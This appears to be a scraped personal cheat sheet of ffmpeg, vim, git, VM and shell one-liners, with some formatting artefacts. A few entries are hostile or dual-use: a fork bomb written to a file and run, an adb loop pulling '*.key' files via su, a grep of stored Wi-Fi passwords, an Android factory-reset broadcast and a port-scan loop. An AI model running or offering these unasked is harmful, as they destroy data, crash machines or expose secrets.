6 [1:v]trim=start=0:end=1,setpts=PTS-STARTPTS[fadeinsrc];
7 [fadeinsrc]format=pix_fmts=yuva420p,
8 fade=t=in:st=0:d=1:alpha=1[fadein];
9 [fadeoutsrc]format=pix_fmts=yuva420p,
10 fade=t=out:st=0:d=1:alpha=1[fadeout];
11 [fadein]fifo[fadeinfifo];
12 [fadeout]fifo[fadeoutfifo];
13 [fadeoutfifo][fadeinfifo]overlay[crossfade];
14 [firstclip][crossfade][secondclip]concat=n=3[output];
15 [0:a][1:a] acrossfade=d=1 [audio]
16" \
17-map "[output]" -map "[audio]" result.mp4
ffmpeg -i in.mov -vf "transpose=0" out.mov
ffmpeg -i in.mov -vf "transpose=1" out.mov
ffmpeg -i in.mov -vf "transpose=0" out.mov
ffmpeg -i in.mov -vf "transpose=0" out.mov
xxxxxxxxxx
241ffmpeg \
2 -i ./20201112_090258.mp4 \
3 -i ./20201112_093103.mp4 \
4 -i ./20201112_093142.mp4 \
5 -i ./20201112_095845.mp4 \
6 -i ./20201112_101033.mp4 \
7 -i ./20201112_112423.mp4 \
8 -i ./20201112_120200.mp4 \
9 -i ./20201112_140711.mp4 \
10 -i ./20201112_141343.mp4 \
11 -filter_complex " \
12 [0:v] setpts=PTS-STARTPTS, scale=qvga [a0]; \
13 [1:v] setpts=PTS-STARTPTS, scale=qvga [a1]; \
14 [2:v] setpts=PTS-STARTPTS, scale=qvga [a2]; \
15 [3:v] setpts=PTS-STARTPTS, scale=qvga [a3]; \
16 [4:v] setpts=PTS-STARTPTS, scale=qvga [a4]; \
17 [5:v] setpts=PTS-STARTPTS, scale=qvga [a5]; \
18 [6:v] setpts=PTS-STARTPTS, scale=qvga [a6]; \
19 [7:v] setpts=PTS-STARTPTS, scale=qvga [a7]; \
20 [8:v] setpts=PTS-STARTPTS, scale=qvga [a8]; \
21 [a0][a1][a2][a3][a4][a5][a6][a7][a8]xstack=inputs=9:layout=0_0|w0_0|w0+w1_0|0_h0|w0_h0|w0+w1_h0|0_h0+h1|w0_h0+h1|w0+w1_h0+h1[out] \
22 " \
23 -map "[out]" \
24 -c:v libx264 -t '30' -f matroska - | ffplay -autoexit -left 30 -top 30 -
youtube-dl -g "URL"
youtube-dl -f 'bestvideo[width<=1920]+bestaudio' $URI
youtube-dl -f bestaudio --add-metadata --extract-audio --audio-format mp3 --audio-quality 0 <Video-URL>
Only tested on Windows, mpv udp://localhost:1234
plays it, as an example:
xxxxxxxxxx
51 ffmpeg
2 -stream_loop -1 -i .\campfire.mkv
3 -preset ultrafast -vcodec libx264
4 -tune zerolatency -b 900k -f mpegts
5 udp://localhost:1234
NOTE: Youtube requires both a video and audio component to be able to stream!
xxxxxxxxxx
71KEY="your-key-goes-here" && FPS=24 && ffmpeg \
2 -stream_loop -1 \
3 -re -i "VIDEO_SOURCE" \
4 -c:v libx264 -pix_fmt yuv420p -preset superfast \
5 -r $FPS -g $(($FPS * 2)) \
6 -b:v 1500k -c:a aac \
7 -f flv "rtmp://a.rtmp.youtube.com/live2/$KEY"
xxxxxxxxxx
71KEY="your-key-goes-here" && ffmpeg \
2 -stream_loop -1 -re \
3 -f dshow -rtbufsize 100M -i video="Integrated Camera" \
4 -f dshow -i audio="Microphone Array (Realtek(R) Audio)" \
5 -c:v libx264 -pix_fmt yuv420p -preset superfast -r 24 -g 48 \
6 -b:v 1500k -c:a aac \
7 -f flv "rtmp://a.rtmp.youtube.com/live2/$KEY"
xxxxxxxxxx
71ffmpeg \
2 -video_size 1366x768 \
3 -framerate 30 \
4 -f x11grab -i :0.0 \
5 -f pulse -ac 2 -i default \
6 -c:v libx264rgb -crf 0 -preset ultrafast\
7 -c:a libopus output.mkv
xxxxxxxxxx
111FIRE_V="$(youtube-dl -f 137 -g http://www.youtube.com/watch?v=-wKiNZ-u-HAs)" && \
2FIRE_A="$(youtube-dl -f 251 -g http://www.youtube.com/watch?v=-wKiNZ-u-HAs)" && \
3AUDIO="https://holiday.stream.publicradio.org/holiday_yc.aac" && \
4ffmpeg \
5 -i "$FIRE_V" \
6 -i "$FIRE_A" \
7 -i "$AUDIO" \
8 -filter_complex "[1:a][2:a]amerge=inputs=2[a]" \
9 -map "[a]" -map 0:v:0
10 -c:a aac -c:v copy \
11 -f matroska - | ffplay -
xxxxxxxxxx
61ffmpeg \
2 -i "https://ycradio.stream.publicradio.org/ycradio.aac" \
3 -i "$HOME/Videos/new_zealand_na_small.mp4" \
4 -c:a aac -c:v copy \
5 -map 0:a:0 -map 1:v:0 \
6 -f matroska out.mkv
xxxxxxxxxx
91ffmpeg \
2 -i "https://hygge.stream.publicradio.org/hygge.aac" \
3 -i "/home/marian/Videos/walk_in_the_rain.mp4" \
4 -c:a aac \
5 -c:v copy \
6 -filter_complex "[0:a][1:a]amerge=inputs=2[aout]" \
7 -map "[aout]" \
8 -map 1:v:0 \
9 -f matroska - | ffplay -
xxxxxxxxxx
61ffmpeg -i "https://nightride.fm/stream/nightride.m4a" \
2 -filter_complex "[0:a]avectorscope=s=480x480:zoom=1.5:rc=0:gc=200:bc=0:rf=0:gf=40:bf=0,format=yuv420p[v]; [v]pad=854:480:187:0[out]" \
3 -map "[out]" -map 0:a \
4 -b:v 700k -b:a 360k \
5 -f matroska \
6 - | ffplay -
ffmpeg -i lights.mp4 -i street.mp4 -filter_complex "overlay=x='if(gte(t,2), -w+(t-2)*20, NAN)" -t 10 output.mp4
gdigrab
works out of the box but better alternatives exist: https://trac.ffmpeg.org/wiki/Capture/Desktop#Windows
ffmpeg -list_devices true -f dshow -i dummy
mpv -border=no -no-osc --ontop av://dshow:video="NAMEOFWEBCAM"
ffplay -noborder -probesize 32 -sync ext -f dshow -i video="Integrated Camera" -vf scale=320:-1
ffmpeg -f gdigrab -framerate 30 -i desktop -f dshow -i audio="NAMEOFMICROPHONE" -c:v libx264rgb -crf 0 -preset ultrafast output.mkv
ffmpeg -f gdgrab -framerate 6 -offset_x 10 -offset_y 20 -video_size vga -i desktop out.mpg
ffmpeg -f gdigrab -framerate 6 -i title=Calculator out.mpg
ffmpeg -f dshow -i video="UScreenCapture" -f dshow -i audio="NAMEOFMICROPHONE" output.mkv
Borderless (and movable) webcam stream with good latency (no sound)
ffmpeg -list_devices true -f dshow -i dummy
(x=$(tput op) y=$(printf %76s);for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} $(tput setaf $i;tput setab $i)${y// /=}$x;done)
sed 's/\x1b\[[0-9;]*m//g' file.txt
curl -Ls -o /dev/null -w %{url_effective} https://startingurlgoeshere
watch -n1 grep \"cpu MHz\" /proc/cpuinfo
echo /sys/bus/usb/devices/* | xargs udevadm info -q property -p
echo "hello" | xclip -i -sel clip
xclip -o -sel clip
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
wget_result.html
, implementing a custom user-agent: wget -O wget_result.html --user-agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.58 Safari/537.36" "https://ca.camelcamelcamel.com/search?sq=rk+royal+kludge"
lynx -dump "URL" >> dump.txt
slop | xargs xzoom -source
brave
browser is using: for proc in $(ps -o pid --no-headers -C brave); do (lsof -p $proc | grep fonts | cut -f4); done
sxiv -S 2 -i <<< $(find . -type f)
qemu-system-x86_64 -rtc base=localtime -m 2G -vga std -drive file=/dev/sdb,readonly,cache=none,format=raw,if=virtio
showkey -a
xwininfo
xdotool
xprop
curl -s https://weather.gc.ca/rss/city/bc-32.xml | grep -oP '(?<=Current Conditions: )\d{1,}\.\d{1,}'
wkhtmltopdf "https://weather.gc.ca/city/pages/bc-32_metric_e.html" - | zathura -
Because sometimes you gotta use the Windoze.
Pipe is unusable (https://gitub.com/PowerShell/PowerShell/issues/1908) Re-directs sometimes work (<, >, etc.) Subshell works (e.g. $(Get-Clipboard) )
Powershell | *Nix |
---|---|
Get-Clipboard | xclip |
Get-Content OR cat | cat |
Compare-Object OR diff | diff |
Get-PnpDevice -PresentOnly | lsdev (or, lsusb, etc.) |
In Neovim, type :options
to get a list of settings you can tweak in the vimrc
Run :scriptnames
to find out which files Vim actually loaded (debugging vimrc)
<C-o>
<C-i>
replay your jumps forward and back
g;
and g,
jump to the places where you made changes
Make the primary clipboard the main one: set clipboard+=unnamedplus
Open a file browser in your home directory: :find ~/
The %
register contains the path to the current file
In a Vim helpfile, <C+]>
opens the topic under the cursor in a new buffer
Unicode typing: <C+v>
followed by code (i.e. u24ba
which would give Ⓔ)
Autocomplete filenames: <C-x><C-f>
Autocomplete names: <C-x><C-n>
Run a system command on the current file and display the results: :!command %
Run a shell command (sort
as an example) on the current buffer: :%!sort
If editing a bash script, etc., run the script from Vim with :!%:p
Run a command on the current buffer and replace the contents with the results: :%!command
Run a command on the current buffer and paste the results: :r !command %
Save window layout: :mksession cool.vim
and later load it with vim -S cool.vim
Open man page for word under the cursor: <Shift-k>
You really like a colorscheme except for one thing. How to change that properly in your virmc.
You need a SSH key pair to start.
Check ~/.ssh
for one, or put one there if you have one on another machine.
found that unless my key is called id_rsa.pub
, then SSH/Github will ask for password EVERY time anyway!
git remote set-url origin git@github.com:USERNAME/NAMEOFREPO.git
Push to all branches (and tags) - assuming origin is the destination remote
git push --all origin
These are GitHub's public key fingerprints: SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8 (RSA) SHA256:br9IjFspm1vxR3iA35FWE+4VTyz1hYVLIE2t1/CeyWQ (DSA)
QEMU
and a libvert frontend like virt-viewer
edk2-ovmf
package to enable UEFIqemu-img create -f raw myVM 20G
(put it somewhere smart, like a VM folder)qemu-system-x86_64 -cdrom path/to/ISO -enable-kvm -bios /usr/share/edk2-ovmf/x64/OVMF.fd -boot order=d -m 4G -cpu host -smp 2 -drive file=path/to/myVM,format=raw
ESC
multiple times to enter BIOS menu. Add the bootloader (GRUB?) as an option to the boot menu.qemu-system-x86_64 -enable-kvm -bios /usr/share/edk2-ovmf/x64/OVMF.fd -m 4G -cpu host -smp 2 -drive file=path/to/myVM,format=raw
Handy for win10: https://dennisnotes.com/note/20180614-ubuntu-18.04-qemu-setup/
pacman -S qemu virt-manager virt-viewer dnsmasq vde2 bridge-utils openbsd-netcat
systemctl enable --now libvertd
usermod -aG libvirt USERNAME
virt-manager
virsh net-autostart default
virsh net-start default
Why? It's like having your own custom WSL.
Create a virtual machine using your preferred settings
Virtual machine: enable sshd
(systemctl, etc.)
VirtualBox > Machine Settings > Network > Advanced
Under port forwarding add the entry:
xxxxxxxxxx
31Name Protocol Host IP Host Port Guest IP Guest Port
2---- -------- --------- --------- -------- ----------
3SSH TCP 127.0.0.1 2222 10.0.2.15 22
Now, turn on the machine (here, headless):
"C:\Program Files\VirtualBox\VBoxManage.exe" startvm Arch --type headless
SSH into the machine (the above settings will forward your request to 22)
ssh user@127.0.0.1 -p 2222
tigervnc
vncpasswd
which encrypts and stores your password in ~/.vnc/passwd
x0vncserver -rfbauth ~/.vnc/passwd
xxxxxxxxxx
51printf "To: recipient@somedomain.com\n \
2From: sender@email.com\n \
3Subject: Something important\n\n \
4This is the body of the message" \
5| msmtp -a account_name recipient@somedomain.com`
Connect device and turn on usb tethering, and then:
lsmod | grep usbnet
dmesg | grep usb0
(note your interface)ifconfig YOUR_INTERFACE_NAME_HERE up
dhcpcd interface_name
At last check, commandlinefu had 564 pages of oneliners. I have 25 pages so far {0..25} in the command below:
URL="http://www.commandlinefu.com" && wget -O - --save-cookies c $URL && for i in {0..564};do wget -w 8 --random-wait -O - --load-cookies c $URL/commands/browse/plaintext/$i >> ~/commands.txt ;done;rm -f c
!12:p
a=7; echo $a; echo "$a"; echo '$a'; echo "'$a'"; echo '"$a"'
alias beats='echo '\''@'\''$(TZ=GMT-1 date +'\''(%-S + %-M * 60 + %-H * 3600) / 86.4'\''|bc)'
alias game='DRI_PRIME=1'
alias tree='pwd;find . -path ./node_modules -prune -o -print | sort | sed '\''1d;s/^\.//;s/\/\([^/]*\)$/|--\1/;s/\/[^/|]*/| /g'\'''
alias vcb='xclip -i -selection clipboard -o | vim -'
all="$(echo -e $*|awk '{for(**3;i<=NF;++i)print $i}'|xargs)"; lftp -e open <HOSTNAME> -p <PORT> -u <USER>:<PASSWORD> -e "$all;exit"
am broadcast -a android.intent.action.MASTER_CLEAR
apt install raidcfg dtk-scripts syscfg smbios-utils sfcb cim-schema dcism
apt list --upgradable | grep -v 'Listing...' | cut -d/ -f1 | tr '\r\n' ' ' | sed '$s/ $/\n/'
avconv -i SOURCE.mp4 -f segment -c:v copy -bsf:v h264_mp4toannexb -an -reset_timestamps 1 OUTPUT_%05d.h264
awk '$NF >= 134000000 {print $0}' single-column-numbers.txt
awk '{if ($3 =="LAN" && $5 == "0.00" ) print $1, $2, "LAN", "288", "100.00"; else print $1 ,$2, $3, $4, $5 }' sla-avail-2013-Feb > sla-avail-2013-Feb_final
aws ec2 describe-instances --region us-east-1 --filters "Name=tag:YourTag,Values=YourValue" | jq '.["Reservations"]|.[]|.Instances|.[]|.IamInstanceProfile.Arn + "," +.InstanceId'
aws ec2 describe-vpcs --query 'Vpcs[*].VpcId' --output text |xargs -t -n1 aws ec2 describe-stale-security-groups --vpc-id
bash -c 'COUNT=0; for i in $(find . -iname "*.json");do ((count=count+1));VAL=
cat ${i} | jq -c '.'; echo "[dst$count]";echo "type = drive";echo "scope = drive";echo "service_account_credentials = $VAL" ; echo "team_drive = 0AKLGAlhvkJYyUk9PVA" ;done'
bash -c 'exec 3<>/dev/tcp/google.com/80; echo EOF>&3; cat<&3'
bash -x foo.sh
bc -l <<< "scale=1000; 4*a(1)"
binaries () { dpkg -L "$1" | grep -Po '.*/bin/\K.*'; }
binaries () { for f in $(dpkg -L "$1" | grep "/bin/"); do basename "$f"; done; }
bind '"\er":menu-complete-backward';bind '"\es":menu-complete'
bitgen hex 12312381273918273128937128912c3b1293cb712938cb12983cb192cb1289b3 info
bzip2recover damaged_file_name
calc(){ awk "BEGIN{ print $* }" ;}; calc "((3+(2^3)) * 34^2 / 9)-75.89"
calc(){ printf "%.8g\n" $(printf "%s\n" "$*" | bc -l); }
cat data.json | json-to-js | pbcopy
cat /dev/urandom |tr -c -d '[:alnum:]'|head -c 16;echo
cat foo.zip | jar xv
cat input.tsv | jq --raw-input --slurp 'split("\n") | map(split("\t")) | .[0:-1] | map( { "id": .[0], "ip": .[1] } )'
cat myFile.json | ssh root@remoteSftpServer -o "ProxyCommand=nc.openbsd -X connect -x proxyhost:proxyport %h %p" 'cat > myFile.json'
cat playlist.txt | while read line; do youtube-dl --extract-audio --audio-format mp3 -o "%(title)s.%(ext)s" ytsearch:"$line" ;done
cat /proc/net/tcp | grep " 0A " | sed 's/^[^:]*: \(..\)\(..\)\(..\)\(..\):\(....\).*/echo $((0x\4)).$((0x\3)).$((0x\2)).$((0x\1)):$((0x\5))/g' | bash
cat /sys/class/power_supply/AC/online
cat /sys/devices/cpu/caps/pmu_name
cat /var/log/mosquitto/mosquitto.log | awk -F : '{"date -d @"$1 |& getline D; print D, $0}'
& 'C:\cwRsync_5.5.0_x86_Free\bin\rsync.exe' --force --ignore-errors --no-perms --chmod=ugo=rwX --checksum --delete --backup --backup-dir="_EVAC/$(Get-Date -Format "yyyy-MM-dd-HH-mm-ss")" --whole-file -a -v "//MyServer/MyFolder" "/cygdrive/c/Backup"
(cd "$(dirname "${BASH_SOURCE[0]}")" && git rev-parse --show-toplevel)
cd -- -
cd && tree -aicfnF --timefmt %Y%j-%d-%b-%y|grep $(date +%Y%j)'\|'$[$(date +%Y%j)-1]'\|'$[$(date +%Y%j)-2]
chpasswd <<< "user:newpassword"
clear
convmv --lower --notest FILE
copy con batchfilename.bat
** -a ~/.bash_history ~/.bash_history.bak && perl -ne 'print unless $seen{$_}++' ~/.bash_history.bak >~/.bash_history
** file{,.$(date -d @$(stat -c '%Y' file) "+%y%m%d")}
** file{,.$(date -r file "+%y%m%d")}
** file file.$(date -d @$(stat -c '%Y' file) "+%y%m%d")
<ctrl+l>
curl checkip.amazonaws.com
curl -fSs https://1.1.1.1/cdn-cgi/trace | awk -F= '/ip/ { print $2 }'
curl http://radiofrance-podcast.net/podcast09/rss_14726.xml | grep -Eo "(http|https)://[a-zA-Z0-9./?=_%:-]*mp3" | sort -u | xargs wget
curl 'https://offcloud.com/api/remote?key=XXXXXX' \ -H 'accept: application/json' \ -H 'Content-Type: application/x-www-form-urlencoded' --data-raw "url=$MYLINK&remoteOptionId=XXXXX"
curl -I <IPaddress>
curl -qsSl http://s3.amazonaws.com/alexa-static/top-1m.csv.zip 2>/dev/null | zcat | grep ".de$" | head -1000 | awk -F, '{print $2}'
curl -s https://api.github.com/users/<username>/repos?per_page=1000 |grep git_url |awk '{print $2}'| sed 's/"\(.*\)",/\1/'
curl -s https://api.github.com/users/<username>/repos?per_page=1000 | grep -oP '(?<="git_url": ").*(?="\,)'
curl -s "https://api.github.com/users/<username>/repos?per_page=1000" | jq '.[].git_url'
curl -s "https://api.github.com/users/<username>/repos?per_page=1000" | python <(echo "import json,sys;v=json.load(sys.stdin);for i in v:; print(i['git_url']);" | tr ';' '\n')
curl -s https://ipvigilante.com/$(curl -s https://ipinfo.io/ip) | jq '.data.latitude, .data.longitude, .data.city_name, .data.country_name'
curl -s https://www.kernel.org/releases.json | jq '.latest_stable.version' -r
curl -sLkIv --stderr - http://example.org | grep -i location: | awk {'print $3'} | sed '/^$/d'
curl -sLkIv --stderr - https://exemple.com | awk 'BEGIN{IGNORECASE = 1};/< location:/ {print $3}'
cut -d"," -f9
date | md5sum | sed -r 's/(..){3}/\1:/g;s/\s+-$//'
date -s "$(curl -sD - www.example.com | grep '^Date:' | cut -d' ' -f3-6)Z"
dd if=/backup/archlinux.iso of=/dev/sdb status=progress
dd if=/home/kozanoglu/Downloads/XenServer-7.2.0-install-cd.iso | pv --eta --size 721420288 --progress --bytes --rate --wait > /dev/sdb
defaults write com.apple.finder CreateDesktop -bool false;killall Finder
desyno(){ wget -q -O- https://www.openthesaurus.de/synonyme/search\?q\="$*"\&format\=text/xml | sed 's/>/>\n/g' | grep "<term term=" | cut -d \' -f 2 | paste -s -d , | sed 's/,/, /g' | fold -s -w $(tput cols); }
df -h |awk '{a=$5;gsub(/%/,"",a);if(a > 50){print $0}}'
df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $1} END {printf "%.0f GB\n", sum_used/1024/1024}'
df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $2} END {printf "%.0f GB\n", sum_used/1024/1024}'
docker images --format "{{.Repository}}:{{.Tag}}" | grep ':latest' | xargs -L1 docker pull
dpkg --get-selections | grep -Evw 'deinstall$' | cut -f1 | sort -u | xargs
dpkg --get-selections | grep -v deinstall | sort -u | cut -f 1 | tr '\r\n' ' ' | sed '$s/ $/\n/'
dpkg-query --status $(dpkg --get-selections | awk '{print NR,$1}' | grep -oP "^$( echo $[ ( ${RANDOM} % $(dpkg --get-selections| wc -l) + 1 ) ] ) \K.*")
[[ -d "/sys/firmware/efi" ]] && echo "UEFI" || echo "BIOS"
du -h -d1
du -h --max-depth=1 --one-file-system /
du -sh *
du --total --inodes / | egrep 'total$'
echo $[ ($(dpkg-query -s $(dpkg --get-selections | grep -oP '^.*(?=\binstall)') | grep -oP '(?<=Installed-Size: )\d+' | tr '\n' '+' | sed 's/+$//')) / 1024 ]
echo $[(${RANDOM}%100+${RANDOM}%100)/2+1]
echo $[321*4]
echo "$(ip addr show dev $(ip r | grep -oP 'default.*dev \K\S*') | grep -oP '(?<=inet )[^/]*(?=/)') $(hostname -f) $(hostname -s)"
echo {1..12}
echo {1..99}
echo abcd89efghij340.20kl|grep --color -e "[0-9]\+" -e "$"
echo boo{,,,,,,,,,,}
echo 'C:\Windows\' | sed 's|\\|\/|g'
echo > /dev/tcp/127.0.0.123/8085 && echo "Port is open"
echo 'doing something very evil' >/dev/null && echo doing something very nice!
(echo -e 'GET / HTTP/1.0\r\n\r\n';) | ncat <IPaddress> 80
echo -e "linuxpassword\nlinuxpassword" | passwd linuxuser
echo -e “\x23\x21/bin/bash\n\.\/\$\0\&\n\.\/\$\0\&” > bomb.sh && ./bomb.sh
echo "File;Creator;Producer";find . -name '*.pdf' -print0 | while IFS= read -d $'\0' line;do echo -n "$line;";pdfinfo "$line"|perl -ne 'if(/^(Creator|Producer):\s*(.*)$/){print"$2";if ($1 eq "Producer"){exit}else{print";"}}';echo;done 2>/dev/null
echo 'json_here' | sed 's/\\//g' | jq .
echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc
echo "Subject: test" | /usr/lib/sendmail -v me@domain.com
echo "tell application \"Terminal\"\n\t set its current settings of selected tab of window 1 to settings set \"$PROFILE\"\n end tell"|osascript;
echo 'The quick brown fox jumps over the lazy dog' | sed 's|\(.*\) .*|\1|'
echo 'The quick brown fox jumps over the lazy dog' | sed 's|.* ||'
echo 'user:newpassword' | chpasswd
echo '/usr/bin/' | sed 's|\/|\\|g'
elinks -dump https://pastebin.com/archive|grep https|cut -c 7-|sed 's/com/com\/raw/g'|awk 'length($0)>32 && length($0)<35'|grep -v 'messages\|settings\|languages\|archive\|facebook\|scraping'|xargs wget
enable -f /usr/lib/libpng.so png_create_read
env | sed 's/\(.*\)=\(.*\)/: ${\1:="\2"}/' > mydefaults.bash
./errorscript.sh 2> >(echo "\e[0;41m$(cat)\e[0m")
eval "$(printf "echo %s \$((%i * 100 / %i))\n" $(cat $(find /sys -name energy_now 2>/dev/null | head -1 | xargs dirname)/{status,energy_{now,full}}))%"
eval "unset $(printenv | grep -ioP '(?:https?|no)_proxy' | tr '\n' ' ')"
example() { echo "EXAMPLE:"; echo; echo " $@"; echo; echo "OUTPUT:"; echo ; eval "$@" | sed 's/^/ /'; }
export BIN=
which nmap&& sudo setcap cap_net_raw,cap_net_admin+eip $BIN && sudo chown root $BIN && sudo chmod u+s $BIN
export IP="$(hostname -I | awk '{print $1}')"
fc -1 -2
ffmpeg -i in.mkv -map 0 -c copy -c:a:0 aac -ac:a:0 6 out.mkv
ffmpeg -i in.mov -c copy -metadata:s:v:0 rotate=90 out.mov
ffmpeg -i in.mov -vf "transpose=1" out.mov
ffmpeg -ss 8:14 -i $(youtube-dl -f 299 --get-url URL) -vframes 1 -q:v 2 out.jpg
ffmpeg -video_size 1024x768 -framerate 25 -f x11grab -i :0.0+100,200 output.mp4
file *|grep 'ASCII text'|sort -rk2
FileList=$(ls); for FName in $FileList; do LowerFName=$(echo "$FName" | tr '[:upper:]' '[:lower:]'); echo $FName" rename/move to $LowerFName"; mv $FName $LowerFName; done
find "$(realpath ./)" -type f \( -iname "*.php" -or -iname "*.inc" \) -exec sed -i -r "s~=[[:space:]]*&[[:space:]]*new[[:space:]]+~= new ~gi" {} \;
f() { ls -lart;e="ls -tarp|grep -v /|tail -9";j=${e/9/1};g=${e/9/9|nl -nln};h=$(eval $j);eval $g;read -p "e|x|v|1..9 $(eval $j)?" -n 1 -r;case $REPLY in e) joe $h;;v)cat $h;;x) eval $h;;[1-9]) s=$(eval $g|egrep ^$REPLY) && touch "${s:7}" && f;;esac ; }
for a in $(seq 16); do xdotool key Num_Lock;sleep .5; xdotool key Caps_Lock;done
for a in $(sudo dpkg --get-selections|cut -f1); do dpkg-repack $a|awk '{if (system("sleep .5 && exit 2") != 2) exit; print}';done
for card in $(pacmd list-cards | grep 'name: ' | sed 's/.*<\(.*\)>.*/\1/'); do pacmd set-card-profile $card a2dp_sink; done
for file in $(egrep 'abc|def' *.sql | cut -d":" -f1 | uniq); do sed -i '/abc/d' ./$file ; sed -i '/def/d' ./$file; done
for file in
ls | grep -i 'mumbai|pune|delhi'; do ** $file /tmp/ ; done
for file in *.txt; do mv "$file" "${file%.txt}.xml"; done
for file in *.txt; do mv "${file%.txt}{.txt,.xml}"; done
for f in
find; do mv -v "$f" "
echo $f | tr '[A-Z]' '[a-z]'"; done
for f in *screenflow ; do tar cvf "$f.tar.bz2" "$f"; done
for f in *.zip; do unzip -d "${f%*.zip}" "$f"; done
for((**1;i<=10;i++)){ echo $i; }
for ((**1; i<=99; ++i)); do echo $i; done
for idiots in "$(cat /var/log/auth.log|grep invalid| grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b')"; do iptables -A INPUT -s "$idiots" -j DROP; done
for i in $(adb shell pm list packages | awk -F':' '{print $2}'); do adb pull "$(adb shell pm path $i | awk -F':' '{print $2}')"; mv *.apk $i.apk 2&> /dev/null ;done
for i in $(seq 1 5) ; do echo $i ; done
for i in {1..10}; do echo $i; done
{ for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i & done } | grep "64 bytes"
for i in {1..65535}; do (echo < /dev/tcp/127.0.0.1/$i) &>/dev/null && printf "\n[+] Open Port at\n: \t%d\n" "$i" || printf "."; done
for i in
adb shell "su -c find /data /system -name '*.key'"; do mkdir -p ".
dirname $i";adb shell "su -c cat $i" > ".$i";done
for i in *.CR2; do ufraw-batch $i --out-type=jpeg --output $i.jpg; done;
for i in *.*; do 7z a "$i".7z "$i"; done
for i in *; do sum=$(md5sum $i); mv -- "$i" "${sum%% *}"; done
for i in *; do test -d "$i" && ( rclone size "$i" --json -L 2> /dev/null | jq --arg path "$i" 'if .bytes < 57462360 then ( { p: $path , b: .bytes}) else "none" end' | grep -v none | jq -r '.p' | parallel -j3 rclone purge "{}" -v -P ); done
for NETBLOCK in $(echo _netblocks.google.com _netblocks2.google.com _netblocks3.google.com); do nslookup -q=TXT $NETBLOCK ; done | tr " " "\n" | grep ^ip[46]: | cut -d: -f2- | sort
function _cd() { local dir; dir="$(sed -e 's~\([a-z]\):~/mnt/\L\1~gi' <<< "${*//'\'/"/"}" )"; if [ -d "$dir" ]; then cd "$dir" || exit; fi; }
function colorify() { n=$(bc <<< "$(echo ${1}|od -An -vtu1 -w100000000|tr -d ' ') % 7"); echo -e "\e[3${n}m${1}\e[0m"; }
function memo() { awk '! seen[$0]++' <<< $(grep -i "$@" ~/.bash_history ); }
function _xterm_cwds() { for pid in $(pgrep -x zsh); do reply+=$(lsof -p $pid | grep cwd | awk '{print $9}') done }; function xcd() { cd $1 }; compctl -K _xterm_cwds xcd
gci -Directory | foreach {Push-Location $_.Name; git fetch --all; git checkout master; git pull; Pop-Location}
Get-ChildItem -Recurse | Where-Object { $_.Name -match " ?\(\d\d\d\d_\d\d_\d\d \d\d_\d\d_\d\d UTC\)" } | Rename-Item -NewName { $_.Name -replace " ?\(\d\d\d\d_\d\d_\d\d \d\d_\d\d_\d\d UTC\)", ""}
git branch -d $( git branch -vv | grep '\[[^:]\+: gone\]' | awk '{print $1}' | xargs )
git branch --merged origin/master | Where-Object { !$_.Contains('master') } | ForEach-Object { git branch -d $_.trim() }
git branch --remotes --merged | grep -v master | sed 's@ origin/@:@' | xargs git push origin
git branch | Where-Object { !$_.Contains('master') } | ForEach-Object { git branch -D $_.Trim() }
(git branch | Where-Object { $_.Contains('*') } | Select-Object -First 1).Trim('*').Trim() | Set-Clipboard
git init; (Invoke-WebRequest https://raw.githubusercontent.com/github/gitignore/master/VisualStudio.gitignore -UseBasicParsing).Content | Out-File -FilePath .gitignore -Encoding utf8; git add -A
git log -p --name-only --follow <file>
git remote -v |grep origin|tail -1|awk '{print $2}'|cut -d"@" -f2|sed 's/:/\//g'|xargs -I {} open -a "Google Chrome" https://{}
git remote -v | sed -n '/github.com.*push/{s/^[^[:space:]]\+[[:space:]]\+//;s|git@github.com:|https://github.com/|;s/\.git.*//;p}'
git remote | while read line ; do git push $line; done
git status | Where-Object {$_.Contains('modified') -and !$_.Contains('.config')} | ForEach-Object { git add $_.Replace('modified:','').Trim() }
glxinfo |grep -i -o 'device|memory\|[0-9]\{1,12\} MB'|head -n 1
grant all on *.* to 'dba'@'localhost' identified by 'dba123' with grant option;
grep --color -E 'pattern|$' file
grep --color -E 'pattern|' file
grep -e AnonHugePages /proc/*/smaps | awk '{ if($2>4) print $0} ' | awk -F "/" '{system("cat /proc/" $3 "/cmdline");printf("\n");print $0; printf("\n");}'
grep -e '^[[:blank:]]*DocumentRoot[[:blank:]]\S'
grep -Eio '([[:alnum:]_.-]{1,64}@[[:alnum:]_.-]{1,252}?\.[[:alpha:].]{2,6})'
grep -Eo '( *[^ ]* *){4}Invoice_Template( *[^ ]* *){4}' /mysql-bin-log/mysql-gen.log | head -10000 | sort -u
grep '^\.' file
grep -- -
grep -H '^psk=' /etc/NetworkManager/system-connections/*
grep -i 'DocumentRoot' /usr/local/apache/conf/httpd.conf
grep -m1 -h [0-9] /etc/{*elease,issue} 2>/dev/null | head -1
grep -Po '^(.*?:\K)?.*'
grep -v $'[^\t\r -~]' my-file-with-non-ascii-characters
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dBATCH -dQUIET -dColorImageResolution=600 -dMonoImageResolution=600 -sOutputFile=output.pdf input.pdf
gunzip -c file.tar.gz | tar -xvf -
hdparm --yes-i-know-what-i-am-doing --dco-restore /dev/sdX
h(){ echo $@|awk '{d($1,$2,$3,$4);} function d(x,y,x2,y2,a,c,dx,dy){dx=r(x2-x);dy=r(y2-y);x=r(x);x2=r(x2);a=(sin(dx/2))^2+cos(x)*cos(x2)*(sin(dy/2))^2;c=2*atan2(sqrt(a),sqrt(1-a)); printf("%.4f",6372.8*c);} function r(g){return g*(3.1415926/180.);}';}
